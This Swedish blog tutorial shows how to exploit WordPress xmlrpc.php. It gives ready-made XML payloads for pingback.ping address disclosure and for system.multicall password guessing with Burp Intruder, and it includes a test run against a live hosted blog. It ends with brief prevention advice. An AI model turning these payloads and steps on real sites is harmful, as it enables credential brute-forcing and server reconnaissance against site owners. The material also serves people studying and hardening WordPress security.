Articles

Exploatering av xmlrpc.php

X

Privatliv & Cookies

Denna webbplats använder cookies. Genom att fortsätta godkänner du att de används. Läs mer, inklusive hur du kontrollerar cookies.

Got It!

Advertisements

Vad är XML-RPC?

XML-RPC är ett API som omvandlar information eller data till en XML-fil och skickar den till mobilappen eller fjärrprogrammet. Detta infördes eftersom internethastigheten inte var så hög förr i tiden, i stället för att skriva den online. Användarna skriver sitt innehåll offline och publicerar allt tillsammans med hjälp av API:et. I takt med att internettjänsterna förbättrades använde de flesta av oss inte längre denna funktion, ofta glömde vi bort den.

xml_for

Vad är sårbarheterna?

  1. Brute force-attack. De viktigaste orsakerna till attacken är att API:et inte har några inloggningsförsök på webbplatsen. De kanske inte får rätt inloggningsuppgifter, men orsakar ändå problem som överbelastning av webbplatsen. Webbplatsens tillgänglighet påverkas.
  2. Intercepting/stealing Login information. Saknar autentiseringssystem. Varje gång användaren försöker komma åt webbplatsen skickas inloggningsuppgifterna i XML-formuläret. Om anslutningen avlyssnas/ MITM, exponeras tydliga XML-data.
  3. XMLRPC pingback.ping. Angriparen kan använda metoden för att hämta den verkliga offentliga adressen till WordPress-webbplatsen.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

För att jag ska börja visa dig de detaljerade stegen för att utföra följande attacker. Alla olagliga åtgärder som du har utfört är på egen hand. Jag är inte ansvarig för några av era handlingar. Vänligen installera din egen miljö för att göra detta eller be om tillstånd innan du gör det.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

XMLRPC-attack med Burpsuite

Kontrollera först om XMLRPC.php är tillgänglig på målplatsen. I det här fallet har jag ställt in en demosajt i WordPress för att utföra attacken.

checking

”XML-RPC-servern accepterar endast POST-förfrågningar.”

Om vi använder GET-metoden för att hämta filen får vi normalt det här resultatet.

Nästan kommer vi att göra en POST-metod för att hämta alla användbara metoder i XMLRPC-servern.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

methods

Servern kommer att svara dig med en lista över metoder som kan användas. I det här fallet är vi särskilt intresserade av metoden pingback.ping. En sak att notera är att alla dessa data som kommer in och ut använder XML-format som förklaras ovan. Så se till att dataformatet är korrekt.

För att utföra attacken måste vi förbereda dessa två saker först

  1. En giltig webhook.site URL eller något annat alternativ som du föredrar som beeceptor och postbin
  2. En giltig URL till ett målinriktat WordPress-inlägg.

<?xml version=”1.0″ encoding=”UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

webhook

result

Nedan visas ytterligare ett exempel på denna attack på denna WordPress-webbplats. JA! Den som du tittar på just nu. Av nyfikenhet vill jag prova att attackera den riktiga webbplatsen i stället för den som jag är värd för.

own

Som du kan se är denna attack misslyckad och inget resultat visas i postbin. Det verkar som om de gjorde några försiktighetsåtgärder och förebyggande åtgärder för WordPress-webbplatsen online. Den här metoden är användbar för självuppsättning webbplats och inte inaktivera xmlrpc.php

Om du inte vill använda POSTBIN, öppna NC och ställa in på lyssningsläge fungerar lika bra! 👍👍

ncnc2

Brute force-attack med hjälp av XMLRPC.php

Som nämns ovan finns det ingen gräns för antalet försök. Att få en lyckad kombination av användarnamn och lösenord är bara en tidsfråga. Det finns inte heller någon mekanism som att spärra kontot efter ett visst antal försök.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

För att visa skillnaden mellan lyckad och misslyckad inloggning finns här ett exempel.

brute

Och självklart bör du använda Intruder för att utföra den här typen av brute force-attacker.

Först kontrollerar du attackmålet, i mitt fall kommer jag att använda IP-adressen till min webbplats.

target

Vi måste ställa in Payload Positions och välja ”Cluster bomb” i listan Attack type. Bra resurs för att läsa om positioner och attacktyper

postion

Här måste vi ställa in 2 payload positioner, ”username” och password. Därefter måste vi ställa in ordlistan. Detta är dokumentation av nyttolasttyper

usernamepassword

Klicka på ”Start attack” när du är klar

success

Som vi kan observera har en av förfrågningarna olika längd. Och när vi kontrollerar rådata under fliken svar, visar oss att den här kombinationen har lyckats logga in.

Förebyggande

  1. Installera plugin för de lata människorna
  2. Disable xmlrpc.php med .htaccess

# Förneka vem som helst tillgång till filen
<Filer xmlrpc.php>
order deny,allow
deny from all
</Files>